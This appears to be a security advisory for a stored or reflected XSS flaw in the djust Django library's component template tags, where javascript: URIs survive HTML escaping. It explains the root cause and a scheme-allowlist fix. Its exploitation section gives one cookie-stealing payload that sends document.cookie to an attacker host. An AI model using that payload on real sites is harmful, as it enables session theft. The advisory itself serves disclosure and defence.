CVE-2026-61597: Cross-Site Scripting (XSS) via Unsanitized URI Schemes in djust Component Template Tags

The djust library is a Django-based framework designed to provide high-performance, real-time UI updates over WebSockets. Under the hood, it leverages a Rust-powered rendering architecture to process templates server-side in a manner reminiscent of Phoenix LiveView. By bypassing complex front-end compilation steps, it allows developers to build reactive components natively inside Django.

A security vulnerability exists in several built-in component template tags nested within the djust.components.templatetags.* namespace. These tags are responsible for generating interactive elements, such as anchors and forms, and rendering developer- or user-supplied URLs into their respective attributes. The attack surface is exposed to any user-supplied content that binds to these components without rigorous backend validation.

Prior to version 1.0.7, the framework relied entirely on HTML escaping to prevent injection attacks within these tags. Although HTML escaping blocks traditional attribute breakout payloads, it does not prevent browser interpretation of alternative URI schemes. The resulting Stored or Reflected Cross-Site Scripting (XSS) vulnerability allows malicious script execution under specific user interactions.

The root cause of this vulnerability lies in the improper handling and verification of URI schemes inside the component rendering pipeline. Web templates require structural validation when rendering URLs inside tags like <a href="..."> or <form action="...">. While HTML escaping mitigates tag injection, it remains blind to the protocol part of the URL.

When a component template tag is processed, the system invokes Django's standard escaping mechanism or calls conditional_escape(url) internally. This routine successfully identifies and escapes structural characters such as double quotes, single quotes, and angle brackets. Consequently, input containing payloads like https://example.com" onmouseover="alert(1) is safely neutralized and rendered as an un-executable string inside the attribute value.

However, the javascript: pseudo-protocol consists entirely of alphanumeric characters, colons, and parentheses. Because these characters are not flagged as special HTML entities, conditional_escape yields the input string unchanged. When the browser parses the rendered document and the user triggers the interaction, the browser interprets the URI protocol scheme and executes the JavaScript instructions directly in the security context of the origin.

To demonstrate the flaw, we analyze the logical vulnerable execution path within the tag generation logic. Below is a representation of the template output and Python processing routine before and after the security patch introduced in version 1.0.7.

<!-- Vulnerable Template Generation Pattern (< 1.0.7) -->
<!-- The context variable 'url' is rendered verbatim, relying solely on HTML escaping -->
<a href="{{ url }}">Action Link</a>

# Conceptual representation of the patch logic applied in version 1.0.7
import urllib.parse
 
SAFE_SCHEMES = ("http", "https", "mailto", "tel", "sms")
 
def sanitize_component_url(url_string):
    # Parse the incoming URL to isolate the protocol scheme
    parsed = urllib.parse.urlparse(url_string.strip())
    
    # If a scheme exists but is not explicitly whitelisted, invalidate it
    if parsed.scheme and parsed.scheme.lower() not in SAFE_SCHEMES:
        # Return a safe fallback to prevent script execution
        return "#"
    
    return url_string

The fix implemented in version 1.0.7 introduces structured parsing and whitelist-based scheme checking prior to output generation. By rejecting pseudo-protocols like javascript: and data:, the template tags can no longer inject executable script environments into structural HTML link attributes. This effectively closes the logical loophole left open by simple character-escaping routines.

An attacker can leverage this flaw by submitting a malicious link to any model or input field that feeds into a djust template tag component. The attack requires minimal complexity and low privileges, meaning any authenticated user with the ability to edit a profile, leave a comment, or configure a dashboard link can act as the threat vector.

A functional proof-of-concept payload targeting the session context would look like the following: javascript:fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie))

Once the victim's browser renders the component containing this link and the victim clicks the element, the browser parses the javascript: scheme. The active session cookies (excluding those protected by the HttpOnly flag) are then transmitted to the external system controlled by the attacker.

The security impact is classified as Medium with a CVSS v4.0 base score of 5.1. The threat primarily impacts subsequent systems and clients rather than the direct integrity of the host server filesystem or data layer.

A successful exploit permits arbitrary client-side code execution. Attackers can execute actions on behalf of the victim (similar to a Cross-Site Request Forgery attack), manipulate page contents to present phishing interfaces, or steal active session tokens.

Immediate remediation requires upgrading the djust package to version 1.0.7 or later. The update implements standard, strict protocol validation that neutralizes the injection vector by neutralizing non-conforming pseudo-protocols inside component logic.

In environments where package upgrades are delayed by policy or regression testing requirements, developers must implement manual input filtering. This involves validating all URLs through a custom parsing validator prior to component rendering. Any URL containing an invalid scheme or a scheme not explicitly matching HTTP, HTTPS, or local relative paths must be rejected.